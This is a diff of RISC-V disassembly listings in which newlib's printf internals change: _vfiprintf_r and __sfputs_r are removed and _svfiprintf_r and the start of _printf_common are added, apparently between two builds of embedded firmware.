-204044fa:	cc22                	sw	s0,24(sp)
-204044fc:	ca26                	sw	s1,20(sp)
-204044fe:	c84a                	sw	s2,16(sp)
-20404500:	c64e                	sw	s3,12(sp)
-20404502:	c452                	sw	s4,8(sp)
-20404504:	ce06                	sw	ra,28(sp)
-20404506:	892a                	mv	s2,a0
-20404508:	89ae                	mv	s3,a1
-2040450a:	8432                	mv	s0,a2
-2040450c:	00d604b3          	add	s1,a2,a3
-20404510:	5a7d                	li	s4,-1
-20404512:	00941463          	bne	s0,s1,2040451a <__sfputs_r+0x22>
-20404516:	4501                	li	a0,0
-20404518:	a809                	j	2040452a <__sfputs_r+0x32>
-2040451a:	00044583          	lbu	a1,0(s0)
-2040451e:	864e                	mv	a2,s3
-20404520:	854a                	mv	a0,s2
-20404522:	377d                	jal	204044d0 <__sfputc_r>
-20404524:	0405                	addi	s0,s0,1
-20404526:	ff4516e3          	bne	a0,s4,20404512 <__sfputs_r+0x1a>
-2040452a:	40f2                	lw	ra,28(sp)
-2040452c:	4462                	lw	s0,24(sp)
-2040452e:	44d2                	lw	s1,20(sp)
-20404530:	4942                	lw	s2,16(sp)
-20404532:	49b2                	lw	s3,12(sp)
-20404534:	4a22                	lw	s4,8(sp)
-20404536:	6105                	addi	sp,sp,32
-20404538:	8082                	ret
+20402c22 <_svfiprintf_r>:
+20402c22:	00c5d783          	lhu	a5,12(a1)
+20402c26:	7135                	addi	sp,sp,-160
+20402c28:	cd22                	sw	s0,152(sp)
+20402c2a:	cb26                	sw	s1,148(sp)
+20402c2c:	c94a                	sw	s2,144(sp)
+20402c2e:	c552                	sw	s4,136(sp)
+20402c30:	cf06                	sw	ra,156(sp)
+20402c32:	c74e                	sw	s3,140(sp)
+20402c34:	c356                	sw	s5,132(sp)
+20402c36:	c15a                	sw	s6,128(sp)
+20402c38:	dede                	sw	s7,124(sp)
+20402c3a:	dce2                	sw	s8,120(sp)
+20402c3c:	dae6                	sw	s9,116(sp)
+20402c3e:	0807f793          	andi	a5,a5,128
+20402c42:	8a2a                	mv	s4,a0
+20402c44:	892e                	mv	s2,a1
+20402c46:	84b2                	mv	s1,a2
+20402c48:	8436                	mv	s0,a3
+20402c4a:	c3a9                	beqz	a5,20402c8c <_svfiprintf_r+0x6a>
+20402c4c:	499c                	lw	a5,16(a1)
+20402c4e:	ef9d                	bnez	a5,20402c8c <_svfiprintf_r+0x6a>
+20402c50:	04000593          	li	a1,64
+20402c54:	8cfff0ef          	jal	ra,20402522 <_malloc_r>
+20402c58:	00a92023          	sw	a0,0(s2)
+20402c5c:	00a92823          	sw	a0,16(s2)
+20402c60:	e115                	bnez	a0,20402c84 <_svfiprintf_r+0x62>
+20402c62:	47b1                	li	a5,12
+20402c64:	00fa2023          	sw	a5,0(s4)
+20402c68:	557d                	li	a0,-1
+20402c6a:	40fa                	lw	ra,156(sp)
+20402c6c:	446a                	lw	s0,152(sp)
+20402c6e:	44da                	lw	s1,148(sp)
+20402c70:	494a                	lw	s2,144(sp)
+20402c72:	49ba                	lw	s3,140(sp)
+20402c74:	4a2a                	lw	s4,136(sp)
+20402c76:	4a9a                	lw	s5,132(sp)
+20402c78:	4b0a                	lw	s6,128(sp)
+20402c7a:	5bf6                	lw	s7,124(sp)
+20402c7c:	5c66                	lw	s8,120(sp)
+20402c7e:	5cd6                	lw	s9,116(sp)
+20402c80:	610d                	addi	sp,sp,160
+20402c82:	8082                	ret
+20402c84:	04000793          	li	a5,64
+20402c88:	00f92a23          	sw	a5,20(s2)
+20402c8c:	02000793          	li	a5,32
+20402c90:	02f104a3          	sb	a5,41(sp)
+20402c94:	03000793          	li	a5,48
+20402c98:	d202                	sw	zero,36(sp)
+20402c9a:	02f10523          	sb	a5,42(sp)
+20402c9e:	c622                	sw	s0,12(sp)
+20402ca0:	02500b93          	li	s7,37
+20402ca4:	00001a97          	auipc	s5,0x1
+20402ca8:	7e8a8a93          	addi	s5,s5,2024 # 2040448c <__sf_fake_stdout+0x20>
+20402cac:	4c05                	li	s8,1
+20402cae:	4b29                	li	s6,10
+20402cb0:	8426                	mv	s0,s1
+20402cb2:	00044783          	lbu	a5,0(s0)
+20402cb6:	c399                	beqz	a5,20402cbc <_svfiprintf_r+0x9a>
+20402cb8:	09779c63          	bne	a5,s7,20402d50 <_svfiprintf_r+0x12e>
+20402cbc:	40940cb3          	sub	s9,s0,s1
+20402cc0:	00940d63          	beq	s0,s1,20402cda <_svfiprintf_r+0xb8>
+20402cc4:	86e6                	mv	a3,s9
+20402cc6:	8626                	mv	a2,s1
+20402cc8:	85ca                	mv	a1,s2
+20402cca:	8552                	mv	a0,s4
+20402ccc:	35ad                	jal	20402b36 <__ssputs_r>
+20402cce:	57fd                	li	a5,-1
+20402cd0:	1af50263          	beq	a0,a5,20402e74 <_svfiprintf_r+0x252>
+20402cd4:	5792                	lw	a5,36(sp)
+20402cd6:	97e6                	add	a5,a5,s9
+20402cd8:	d23e                	sw	a5,36(sp)
+20402cda:	00044783          	lbu	a5,0(s0)
+20402cde:	18078b63          	beqz	a5,20402e74 <_svfiprintf_r+0x252>
+20402ce2:	57fd                	li	a5,-1
+20402ce4:	00140493          	addi	s1,s0,1
+20402ce8:	c802                	sw	zero,16(sp)
+20402cea:	ce02                	sw	zero,28(sp)
+20402cec:	ca3e                	sw	a5,20(sp)
+20402cee:	cc02                	sw	zero,24(sp)
+20402cf0:	040109a3          	sb	zero,83(sp)
+20402cf4:	d482                	sw	zero,104(sp)
+20402cf6:	0004c583          	lbu	a1,0(s1)
+20402cfa:	4615                	li	a2,5
+20402cfc:	8556                	mv	a0,s5
+20402cfe:	611000ef          	jal	ra,20403b0e <memchr>
+20402d02:	47c2                	lw	a5,16(sp)
+20402d04:	00148413          	addi	s0,s1,1
+20402d08:	e531                	bnez	a0,20402d54 <_svfiprintf_r+0x132>
+20402d0a:	0107f713          	andi	a4,a5,16
+20402d0e:	c709                	beqz	a4,20402d18 <_svfiprintf_r+0xf6>
+20402d10:	02000713          	li	a4,32
+20402d14:	04e109a3          	sb	a4,83(sp)
+20402d18:	0087f713          	andi	a4,a5,8
+20402d1c:	c709                	beqz	a4,20402d26 <_svfiprintf_r+0x104>
+20402d1e:	02b00713          	li	a4,43
+20402d22:	04e109a3          	sb	a4,83(sp)
+20402d26:	0004c683          	lbu	a3,0(s1)
+20402d2a:	02a00713          	li	a4,42
+20402d2e:	02e68b63          	beq	a3,a4,20402d64 <_svfiprintf_r+0x142>
+20402d32:	47f2                	lw	a5,28(sp)
+20402d34:	8426                	mv	s0,s1
+20402d36:	4681                	li	a3,0
+20402d38:	4625                	li	a2,9
+20402d3a:	00044703          	lbu	a4,0(s0)
+20402d3e:	00140593          	addi	a1,s0,1
+20402d42:	fd070713          	addi	a4,a4,-48
+20402d46:	06e67463          	bgeu	a2,a4,20402dae <_svfiprintf_r+0x18c>
+20402d4a:	c68d                	beqz	a3,20402d74 <_svfiprintf_r+0x152>
+20402d4c:	ce3e                	sw	a5,28(sp)
+20402d4e:	a01d                	j	20402d74 <_svfiprintf_r+0x152>
+20402d50:	0405                	addi	s0,s0,1
+20402d52:	b785                	j	20402cb2 <_svfiprintf_r+0x90>
+20402d54:	41550533          	sub	a0,a0,s5
+20402d58:	00ac1533          	sll	a0,s8,a0
+20402d5c:	8fc9                	or	a5,a5,a0
+20402d5e:	c83e                	sw	a5,16(sp)
+20402d60:	84a2                	mv	s1,s0
+20402d62:	bf51                	j	20402cf6 <_svfiprintf_r+0xd4>
+20402d64:	4732                	lw	a4,12(sp)
+20402d66:	00470693          	addi	a3,a4,4
+20402d6a:	4318                	lw	a4,0(a4)
+20402d6c:	c636                	sw	a3,12(sp)
+20402d6e:	02074963          	bltz	a4,20402da0 <_svfiprintf_r+0x17e>
+20402d72:	ce3a                	sw	a4,28(sp)
+20402d74:	00044703          	lbu	a4,0(s0)
+20402d78:	02e00793          	li	a5,46
+20402d7c:	04f71f63          	bne	a4,a5,20402dda <_svfiprintf_r+0x1b8>
+20402d80:	00144703          	lbu	a4,1(s0)
+20402d84:	02a00793          	li	a5,42
+20402d88:	02f71b63          	bne	a4,a5,20402dbe <_svfiprintf_r+0x19c>
+20402d8c:	47b2                	lw	a5,12(sp)
+20402d8e:	0409                	addi	s0,s0,2
+20402d90:	00478713          	addi	a4,a5,4 # ffff0004 <_heap_end+0x7ffe1804>
+20402d94:	439c                	lw	a5,0(a5)
+20402d96:	c63a                	sw	a4,12(sp)
+20402d98:	0207c163          	bltz	a5,20402dba <_svfiprintf_r+0x198>
+20402d9c:	ca3e                	sw	a5,20(sp)
+20402d9e:	a835                	j	20402dda <_svfiprintf_r+0x1b8>
+20402da0:	40e00733          	neg	a4,a4
+20402da4:	0027e793          	ori	a5,a5,2
+20402da8:	ce3a                	sw	a4,28(sp)
+20402daa:	c83e                	sw	a5,16(sp)
+20402dac:	b7e1                	j	20402d74 <_svfiprintf_r+0x152>
+20402dae:	036787b3          	mul	a5,a5,s6
+20402db2:	842e                	mv	s0,a1
+20402db4:	4685                	li	a3,1
+20402db6:	97ba                	add	a5,a5,a4
+20402db8:	b749                	j	20402d3a <_svfiprintf_r+0x118>
+20402dba:	57fd                	li	a5,-1
+20402dbc:	b7c5                	j	20402d9c <_svfiprintf_r+0x17a>
+20402dbe:	0405                	addi	s0,s0,1
+20402dc0:	ca02                	sw	zero,20(sp)
+20402dc2:	4681                	li	a3,0
+20402dc4:	4781                	li	a5,0
+20402dc6:	4625                	li	a2,9
+20402dc8:	00044703          	lbu	a4,0(s0)
+20402dcc:	00140593          	addi	a1,s0,1
+20402dd0:	fd070713          	addi	a4,a4,-48
+20402dd4:	06e67663          	bgeu	a2,a4,20402e40 <_svfiprintf_r+0x21e>
+20402dd8:	f2f1                	bnez	a3,20402d9c <_svfiprintf_r+0x17a>
+20402dda:	00044583          	lbu	a1,0(s0)
+20402dde:	460d                	li	a2,3
+20402de0:	00001517          	auipc	a0,0x1
+20402de4:	6b450513          	addi	a0,a0,1716 # 20404494 <__sf_fake_stdout+0x28>
+20402de8:	527000ef          	jal	ra,20403b0e <memchr>
+20402dec:	cd11                	beqz	a0,20402e08 <_svfiprintf_r+0x1e6>
+20402dee:	00001797          	auipc	a5,0x1
+20402df2:	6a678793          	addi	a5,a5,1702 # 20404494 <__sf_fake_stdout+0x28>
+20402df6:	8d1d                	sub	a0,a0,a5
+20402df8:	04000793          	li	a5,64
+20402dfc:	00a797b3          	sll	a5,a5,a0
+20402e00:	4542                	lw	a0,16(sp)
+20402e02:	0405                	addi	s0,s0,1
+20402e04:	8d5d                	or	a0,a0,a5
+20402e06:	c82a                	sw	a0,16(sp)
+20402e08:	00044583          	lbu	a1,0(s0)
+20402e0c:	4619                	li	a2,6
+20402e0e:	00001517          	auipc	a0,0x1
+20402e12:	68a50513          	addi	a0,a0,1674 # 20404498 <__sf_fake_stdout+0x2c>
+20402e16:	00140493          	addi	s1,s0,1
+20402e1a:	02b10423          	sb	a1,40(sp)
+20402e1e:	4f1000ef          	jal	ra,20403b0e <memchr>
+20402e22:	c135                	beqz	a0,20402e86 <_svfiprintf_r+0x264>
+20402e24:	00000793          	li	a5,0
+20402e28:	e795                	bnez	a5,20402e54 <_svfiprintf_r+0x232>
+20402e2a:	4742                	lw	a4,16(sp)
+20402e2c:	47b2                	lw	a5,12(sp)
+20402e2e:	10077713          	andi	a4,a4,256
+20402e32:	cf09                	beqz	a4,20402e4c <_svfiprintf_r+0x22a>
+20402e34:	0791                	addi	a5,a5,4
+20402e36:	c63e                	sw	a5,12(sp)
+20402e38:	5792                	lw	a5,36(sp)
+20402e3a:	97ce                	add	a5,a5,s3
+20402e3c:	d23e                	sw	a5,36(sp)
+20402e3e:	bd8d                	j	20402cb0 <_svfiprintf_r+0x8e>
+20402e40:	036787b3          	mul	a5,a5,s6
+20402e44:	842e                	mv	s0,a1
+20402e46:	4685                	li	a3,1
+20402e48:	97ba                	add	a5,a5,a4
+20402e4a:	bfbd                	j	20402dc8 <_svfiprintf_r+0x1a6>
+20402e4c:	079d                	addi	a5,a5,7
+20402e4e:	9be1                	andi	a5,a5,-8
+20402e50:	07a1                	addi	a5,a5,8
+20402e52:	b7d5                	j	20402e36 <_svfiprintf_r+0x214>
+20402e54:	0078                	addi	a4,sp,12
+20402e56:	00000697          	auipc	a3,0x0
+20402e5a:	ce068693          	addi	a3,a3,-800 # 20402b36 <__ssputs_r>
+20402e5e:	864a                	mv	a2,s2
+20402e60:	080c                	addi	a1,sp,16
+20402e62:	8552                	mv	a0,s4
+20402e64:	00000097          	auipc	ra,0x0
+20402e68:	000000e7          	jalr	zero # 0 <__stack_size-0x800>
+20402e6c:	57fd                	li	a5,-1
+20402e6e:	89aa                	mv	s3,a0
+20402e70:	fcf514e3          	bne	a0,a5,20402e38 <_svfiprintf_r+0x216>
+20402e74:	00c95783          	lhu	a5,12(s2)
+20402e78:	557d                	li	a0,-1
+20402e7a:	0407f793          	andi	a5,a5,64
+20402e7e:	de0796e3          	bnez	a5,20402c6a <_svfiprintf_r+0x48>
+20402e82:	5512                	lw	a0,36(sp)
+20402e84:	b3dd                	j	20402c6a <_svfiprintf_r+0x48>
+20402e86:	0078                	addi	a4,sp,12
+20402e88:	00000697          	auipc	a3,0x0
+20402e8c:	cae68693          	addi	a3,a3,-850 # 20402b36 <__ssputs_r>
+20402e90:	864a                	mv	a2,s2
+20402e92:	080c                	addi	a1,sp,16
+20402e94:	8552                	mv	a0,s4
+20402e96:	2a01                	jal	20402fa6 <_printf_i>
+20402e98:	bfd1                	j	20402e6c <_svfiprintf_r+0x24a>
 
-2040453a <_vfiprintf_r>:
-2040453a:	7135                	addi	sp,sp,-160
-2040453c:	cd22                	sw	s0,152(sp)
-2040453e:	cb26                	sw	s1,148(sp)
-20404540:	c94a                	sw	s2,144(sp)
-20404542:	c74e                	sw	s3,140(sp)
-20404544:	cf06                	sw	ra,156(sp)
-20404546:	c552                	sw	s4,136(sp)
-20404548:	c356                	sw	s5,132(sp)
-2040454a:	c15a                	sw	s6,128(sp)
-2040454c:	dede                	sw	s7,124(sp)
-2040454e:	dce2                	sw	s8,120(sp)
-20404550:	dae6                	sw	s9,116(sp)
-20404552:	89aa                	mv	s3,a0
-20404554:	84ae                	mv	s1,a1
-20404556:	8932                	mv	s2,a2
-20404558:	8436                	mv	s0,a3
-2040455a:	c509                	beqz	a0,20404564 <_vfiprintf_r+0x2a>
-2040455c:	4d1c                	lw	a5,24(a0)
-2040455e:	e399                	bnez	a5,20404564 <_vfiprintf_r+0x2a>
-20404560:	d9cff0ef          	jal	ra,20403afc <__sinit>
-20404564:	00002797          	auipc	a5,0x2
-20404568:	9a878793          	addi	a5,a5,-1624 # 20405f0c <__sf_fake_stdin>
-2040456c:	0cf49c63          	bne	s1,a5,20404644 <_vfiprintf_r+0x10a>
-20404570:	0049a483          	lw	s1,4(s3)
-20404574:	00c4d783          	lhu	a5,12(s1)
-20404578:	8ba1                	andi	a5,a5,8
-2040457a:	c7fd                	beqz	a5,20404668 <_vfiprintf_r+0x12e>
-2040457c:	489c                	lw	a5,16(s1)
-2040457e:	c7ed                	beqz	a5,20404668 <_vfiprintf_r+0x12e>
-20404580:	02000793          	li	a5,32
-20404584:	02f104a3          	sb	a5,41(sp)
-20404588:	03000793          	li	a5,48
-2040458c:	d202                	sw	zero,36(sp)
-2040458e:	02f10523          	sb	a5,42(sp)
-20404592:	c622                	sw	s0,12(sp)
-20404594:	02500b93          	li	s7,37
-20404598:	00002a97          	auipc	s5,0x2
-2040459c:	9b4a8a93          	addi	s5,s5,-1612 # 20405f4c <__sf_fake_stdout+0x20>
-204045a0:	4c05                	li	s8,1
-204045a2:	4b29                	li	s6,10
-204045a4:	844a                	mv	s0,s2
-204045a6:	00044783          	lbu	a5,0(s0)
-204045aa:	c399                	beqz	a5,204045b0 <_vfiprintf_r+0x76>
-204045ac:	0f779063          	bne	a5,s7,2040468c <_vfiprintf_r+0x152>
-204045b0:	41240cb3          	sub	s9,s0,s2
-204045b4:	01240d63          	beq	s0,s2,204045ce <_vfiprintf_r+0x94>
-204045b8:	86e6                	mv	a3,s9
-204045ba:	864a                	mv	a2,s2
-204045bc:	85a6                	mv	a1,s1
-204045be:	854e                	mv	a0,s3
-204045c0:	3f25                	jal	204044f8 <__sfputs_r>
-204045c2:	57fd                	li	a5,-1
-204045c4:	1ef50463          	beq	a0,a5,204047ac <_vfiprintf_r+0x272>
-204045c8:	5792                	lw	a5,36(sp)
-204045ca:	97e6                	add	a5,a5,s9
-204045cc:	d23e                	sw	a5,36(sp)
-204045ce:	00044783          	lbu	a5,0(s0)
-204045d2:	1c078d63          	beqz	a5,204047ac <_vfiprintf_r+0x272>
-204045d6:	57fd                	li	a5,-1
-204045d8:	00140913          	addi	s2,s0,1
-204045dc:	c802                	sw	zero,16(sp)
-204045de:	ce02                	sw	zero,28(sp)
-204045e0:	ca3e                	sw	a5,20(sp)
-204045e2:	cc02                	sw	zero,24(sp)
-204045e4:	040109a3          	sb	zero,83(sp)
-204045e8:	d482                	sw	zero,104(sp)
-204045ea:	00094583          	lbu	a1,0(s2)
-204045ee:	4615                	li	a2,5
-204045f0:	8556                	mv	a0,s5
-204045f2:	7fc000ef          	jal	ra,20404dee <memchr>
-204045f6:	47c2                	lw	a5,16(sp)
-204045f8:	00190413          	addi	s0,s2,1
-204045fc:	e951                	bnez	a0,20404690 <_vfiprintf_r+0x156>
-204045fe:	0107f713          	andi	a4,a5,16
-20404602:	c709                	beqz	a4,2040460c <_vfiprintf_r+0xd2>
-20404604:	02000713          	li	a4,32
-20404608:	04e109a3          	sb	a4,83(sp)
-2040460c:	0087f713          	andi	a4,a5,8
-20404610:	c709                	beqz	a4,2040461a <_vfiprintf_r+0xe0>
-20404612:	02b00713          	li	a4,43
-20404616:	04e109a3          	sb	a4,83(sp)
-2040461a:	00094683          	lbu	a3,0(s2)
-2040461e:	02a00713          	li	a4,42
-20404622:	06e68f63          	beq	a3,a4,204046a0 <_vfiprintf_r+0x166>
-20404626:	47f2                	lw	a5,28(sp)
-20404628:	844a                	mv	s0,s2
-2040462a:	4681                	li	a3,0
-2040462c:	4625                	li	a2,9
-2040462e:	00044703          	lbu	a4,0(s0)
-20404632:	00140593          	addi	a1,s0,1
-20404636:	fd070713          	addi	a4,a4,-48
-2040463a:	0ae67863          	bgeu	a2,a4,204046ea <_vfiprintf_r+0x1b0>
-2040463e:	caad                	beqz	a3,204046b0 <_vfiprintf_r+0x176>
-20404640:	ce3e                	sw	a5,28(sp)
-20404642:	a0bd                	j	204046b0 <_vfiprintf_r+0x176>
-20404644:	00002797          	auipc	a5,0x2
-20404648:	8e878793          	addi	a5,a5,-1816 # 20405f2c <__sf_fake_stdout>
-2040464c:	00f49563          	bne	s1,a5,20404656 <_vfiprintf_r+0x11c>
-20404650:	0089a483          	lw	s1,8(s3)
-20404654:	b705                	j	20404574 <_vfiprintf_r+0x3a>
-20404656:	00002797          	auipc	a5,0x2
-2040465a:	89678793          	addi	a5,a5,-1898 # 20405eec <__sf_fake_stderr>
-2040465e:	f0f49be3          	bne	s1,a5,20404574 <_vfiprintf_r+0x3a>
-20404662:	00c9a483          	lw	s1,12(s3)
-20404666:	b739                	j	20404574 <_vfiprintf_r+0x3a>
-20404668:	85a6                	mv	a1,s1
-2040466a:	854e                	mv	a0,s3
-2040466c:	2ebd                	jal	204049ea <__swsetup_r>
-2040466e:	d909                	beqz	a0,20404580 <_vfiprintf_r+0x46>
-20404670:	557d                	li	a0,-1
-20404672:	40fa                	lw	ra,156(sp)
-20404674:	446a                	lw	s0,152(sp)
-20404676:	44da                	lw	s1,148(sp)
-20404678:	494a                	lw	s2,144(sp)
-2040467a:	49ba                	lw	s3,140(sp)
-2040467c:	4a2a                	lw	s4,136(sp)
-2040467e:	4a9a                	lw	s5,132(sp)
-20404680:	4b0a                	lw	s6,128(sp)
-20404682:	5bf6                	lw	s7,124(sp)
-20404684:	5c66                	lw	s8,120(sp)
-20404686:	5cd6                	lw	s9,116(sp)
-20404688:	610d                	addi	sp,sp,160
-2040468a:	8082                	ret
-2040468c:	0405                	addi	s0,s0,1
-2040468e:	bf21                	j	204045a6 <_vfiprintf_r+0x6c>
-20404690:	41550533          	sub	a0,a0,s5
-20404694:	00ac1533          	sll	a0,s8,a0
-20404698:	8fc9                	or	a5,a5,a0
-2040469a:	c83e                	sw	a5,16(sp)
-2040469c:	8922                	mv	s2,s0
-2040469e:	b7b1                	j	204045ea <_vfiprintf_r+0xb0>
-204046a0:	4732                	lw	a4,12(sp)
-204046a2:	00470693          	addi	a3,a4,4
-204046a6:	4318                	lw	a4,0(a4)
-204046a8:	c636                	sw	a3,12(sp)
-204046aa:	02074963          	bltz	a4,204046dc <_vfiprintf_r+0x1a2>
-204046ae:	ce3a                	sw	a4,28(sp)
-204046b0:	00044703          	lbu	a4,0(s0)
-204046b4:	02e00793          	li	a5,46
-204046b8:	04f71f63          	bne	a4,a5,20404716 <_vfiprintf_r+0x1dc>
-204046bc:	00144703          	lbu	a4,1(s0)
-204046c0:	02a00793          	li	a5,42
-204046c4:	02f71b63          	bne	a4,a5,204046fa <_vfiprintf_r+0x1c0>
-204046c8:	47b2                	lw	a5,12(sp)
-204046ca:	0409                	addi	s0,s0,2
-204046cc:	00478713          	addi	a4,a5,4
-204046d0:	439c                	lw	a5,0(a5)
-204046d2:	c63a                	sw	a4,12(sp)
-204046d4:	0207c163          	bltz	a5,204046f6 <_vfiprintf_r+0x1bc>
-204046d8:	ca3e                	sw	a5,20(sp)
-204046da:	a835                	j	20404716 <_vfiprintf_r+0x1dc>
-204046dc:	40e00733          	neg	a4,a4
-204046e0:	0027e793          	ori	a5,a5,2
-204046e4:	ce3a                	sw	a4,28(sp)
-204046e6:	c83e                	sw	a5,16(sp)
-204046e8:	b7e1                	j	204046b0 <_vfiprintf_r+0x176>
-204046ea:	036787b3          	mul	a5,a5,s6
-204046ee:	842e                	mv	s0,a1
-204046f0:	4685                	li	a3,1
-204046f2:	97ba                	add	a5,a5,a4
-204046f4:	bf2d                	j	2040462e <_vfiprintf_r+0xf4>
-204046f6:	57fd                	li	a5,-1
-204046f8:	b7c5                	j	204046d8 <_vfiprintf_r+0x19e>
-204046fa:	0405                	addi	s0,s0,1
-204046fc:	ca02                	sw	zero,20(sp)
-204046fe:	4681                	li	a3,0
-20404700:	4781                	li	a5,0
-20404702:	4625                	li	a2,9
-20404704:	00044703          	lbu	a4,0(s0)
-20404708:	00140593          	addi	a1,s0,1
-2040470c:	fd070713          	addi	a4,a4,-48
-20404710:	06e67463          	bgeu	a2,a4,20404778 <_vfiprintf_r+0x23e>
-20404714:	f2f1                	bnez	a3,204046d8 <_vfiprintf_r+0x19e>
-20404716:	00044583          	lbu	a1,0(s0)
-2040471a:	460d                	li	a2,3
-2040471c:	00002517          	auipc	a0,0x2
-20404720:	83850513          	addi	a0,a0,-1992 # 20405f54 <__sf_fake_stdout+0x28>
-20404724:	25e9                	jal	20404dee <memchr>
-20404726:	cd11                	beqz	a0,20404742 <_vfiprintf_r+0x208>
-20404728:	00002797          	auipc	a5,0x2
-2040472c:	82c78793          	addi	a5,a5,-2004 # 20405f54 <__sf_fake_stdout+0x28>
-20404730:	8d1d                	sub	a0,a0,a5
-20404732:	04000793          	li	a5,64
-20404736:	00a797b3          	sll	a5,a5,a0
-2040473a:	4542                	lw	a0,16(sp)
-2040473c:	0405                	addi	s0,s0,1
-2040473e:	8d5d                	or	a0,a0,a5
-20404740:	c82a                	sw	a0,16(sp)
-20404742:	00044583          	lbu	a1,0(s0)
-20404746:	4619                	li	a2,6
-20404748:	00002517          	auipc	a0,0x2
-2040474c:	81050513          	addi	a0,a0,-2032 # 20405f58 <__sf_fake_stdout+0x2c>
-20404750:	00140913          	addi	s2,s0,1
-20404754:	02b10423          	sb	a1,40(sp)
-20404758:	2d59                	jal	20404dee <memchr>
-2040475a:	c12d                	beqz	a0,204047bc <_vfiprintf_r+0x282>
-2040475c:	00000793          	li	a5,0
-20404760:	e795                	bnez	a5,2040478c <_vfiprintf_r+0x252>
-20404762:	4742                	lw	a4,16(sp)
-20404764:	47b2                	lw	a5,12(sp)
-20404766:	10077713          	andi	a4,a4,256
-2040476a:	cf09                	beqz	a4,20404784 <_vfiprintf_r+0x24a>
-2040476c:	0791                	addi	a5,a5,4
-2040476e:	c63e                	sw	a5,12(sp)
-20404770:	5792                	lw	a5,36(sp)
-20404772:	97d2                	add	a5,a5,s4
-20404774:	d23e                	sw	a5,36(sp)
-20404776:	b53d                	j	204045a4 <_vfiprintf_r+0x6a>
-20404778:	036787b3          	mul	a5,a5,s6
-2040477c:	842e                	mv	s0,a1
-2040477e:	4685                	li	a3,1
-20404780:	97ba                	add	a5,a5,a4
-20404782:	b749                	j	20404704 <_vfiprintf_r+0x1ca>
-20404784:	079d                	addi	a5,a5,7
-20404786:	9be1                	andi	a5,a5,-8
-20404788:	07a1                	addi	a5,a5,8
-2040478a:	b7d5                	j	2040476e <_vfiprintf_r+0x234>
-2040478c:	0078                	addi	a4,sp,12
-2040478e:	00000697          	auipc	a3,0x0
-20404792:	d6a68693          	addi	a3,a3,-662 # 204044f8 <__sfputs_r>
-20404796:	8626                	mv	a2,s1
-20404798:	080c                	addi	a1,sp,16
-2040479a:	854e                	mv	a0,s3
-2040479c:	00000097          	auipc	ra,0x0
-204047a0:	000000e7          	jalr	zero # 0 <__stack_size-0x800>
-204047a4:	57fd                	li	a5,-1
-204047a6:	8a2a                	mv	s4,a0
-204047a8:	fcf514e3          	bne	a0,a5,20404770 <_vfiprintf_r+0x236>
-204047ac:	00c4d783          	lhu	a5,12(s1)
-204047b0:	0407f793          	andi	a5,a5,64
-204047b4:	ea079ee3          	bnez	a5,20404670 <_vfiprintf_r+0x136>
-204047b8:	5512                	lw	a0,36(sp)
-204047ba:	bd65                	j	20404672 <_vfiprintf_r+0x138>
-204047bc:	0078                	addi	a4,sp,12
-204047be:	00000697          	auipc	a3,0x0
-204047c2:	d3a68693          	addi	a3,a3,-710 # 204044f8 <__sfputs_r>
-204047c6:	8626                	mv	a2,s1
-204047c8:	080c                	addi	a1,sp,16
-204047ca:	854e                	mv	a0,s3
-204047cc:	a93ff0ef          	jal	ra,2040425e <_printf_i>
-204047d0:	bfd1                	j	204047a4 <_vfiprintf_r+0x26a>
+20402e9a <_printf_common>:
+20402e9a:	7179                	addi	sp,sp,-48
+20402e9c:	cc52                	sw	s4,24(sp)
+20402e9e:	499c                	lw	a5,16(a1)
+20402ea0:	8a3a                	mv	s4,a4
+20402ea2:	4598                	lw	a4,8(a1)
+20402ea4:	d422                	sw	s0,40(sp)
+20402ea6:	d226                	sw	s1,36(sp)
+20402ea8:	ce4e                	sw	s3,28(sp)
+20402eaa:	ca56                	sw	s5,20(sp)
+20402eac:	d606                	sw	ra,44(sp)
+20402eae:	d04a                	sw	s2,32(sp)
+20402eb0:	c85a                	sw	s6,16(sp)
+20402eb2:	c65e                	sw	s7,12(sp)
+20402eb4:	89aa                	mv	s3,a0
+20402eb6:	842e                	mv	s0,a1
+20402eb8:	84b2                	mv	s1,a2
+20402eba:	8ab6                	mv	s5,a3
+20402ebc:	00e7d363          	bge	a5,a4,20402ec2 <_printf_common+0x28>
+20402ec0:	87ba                	mv	a5,a4
+20402ec2:	c09c                	sw	a5,0(s1)
+20402ec4:	04344703          	lbu	a4,67(s0)
+20402ec8:	c319                	beqz	a4,20402ece <_printf_common+0x34>
+20402eca:	0785                	addi	a5,a5,1
+20402ecc:	c09c                	sw	a5,0(s1)
+20402ece:	401c                	lw	a5,0(s0)
+20402ed0:	0207f793          	andi	a5,a5,32
+20402ed4:	c781                	beqz	a5,20402edc <_printf_common+0x42>
+20402ed6:	409c                	lw	a5,0(s1)
+20402ed8:	0789                	addi	a5,a5,2
+20402eda:	c09c                	sw	a5,0(s1)
+20402edc:	00042903          	lw	s2,0(s0)
+20402ee0:	00697913          	andi	s2,s2,6
+20402ee4:	00091a63          	bnez	s2,20402ef8 <_printf_common+0x5e>
+20402ee8:	01940b13          	addi	s6,s0,25
+20402eec:	5bfd                	li	s7,-1
+20402eee:	445c                	lw	a5,12(s0)
+20402ef0:	4098                	lw	a4,0(s1)
+20402ef2:	8f99                	sub	a5,a5,a4
+20402ef4:	04f94c63          	blt	s2,a5,20402f4c <_printf_common+0xb2>
+20402ef8:	04344783          	lbu	a5,67(s0)
+20402efc:	00f036b3          	snez	a3,a5
+20402f00:	401c                	lw	a5,0(s0)
+20402f02:	0207f793          	andi	a5,a5,32
+20402f06:	eba5                	bnez	a5,20402f76 <_printf_common+0xdc>
+20402f08:	04340613          	addi	a2,s0,67
+20402f0c:	85d6                	mv	a1,s5
+20402f0e:	854e                	mv	a0,s3
+20402f10:	9a02                	jalr	s4
+20402f12:	57fd                	li	a5,-1
+20402f14:	04f50363          	beq	a0,a5,20402f5a <_printf_common+0xc0>
+20402f18:	401c                	lw	a5,0(s0)
+20402f1a:	4611                	li	a2,4
+20402f1c:	4098                	lw	a4,0(s1)
+20402f1e:	8b99                	andi	a5,a5,6
+20402f20:	4454                	lw	a3,12(s0)
+20402f22:	4481                	li	s1,0
+20402f24:	00c79763          	bne	a5,a2,20402f32 <_printf_common+0x98>
+20402f28:	40e684b3          	sub	s1,a3,a4
+20402f2c:	0004d363          	bgez	s1,20402f32 <_printf_common+0x98>
+20402f30:	4481                	li	s1,0
+20402f32:	441c                	lw	a5,8(s0)
+20402f34:	4818                	lw	a4,16(s0)
+20402f36:	00f75463          	bge	a4,a5,20402f3e <_printf_common+0xa4>
+20402f3a:	8f99                	sub	a5,a5,a4
+20402f3c:	94be                	add	s1,s1,a5
+20402f3e:	4901                	li	s2,0
+20402f40:	0469                	addi	s0,s0,26
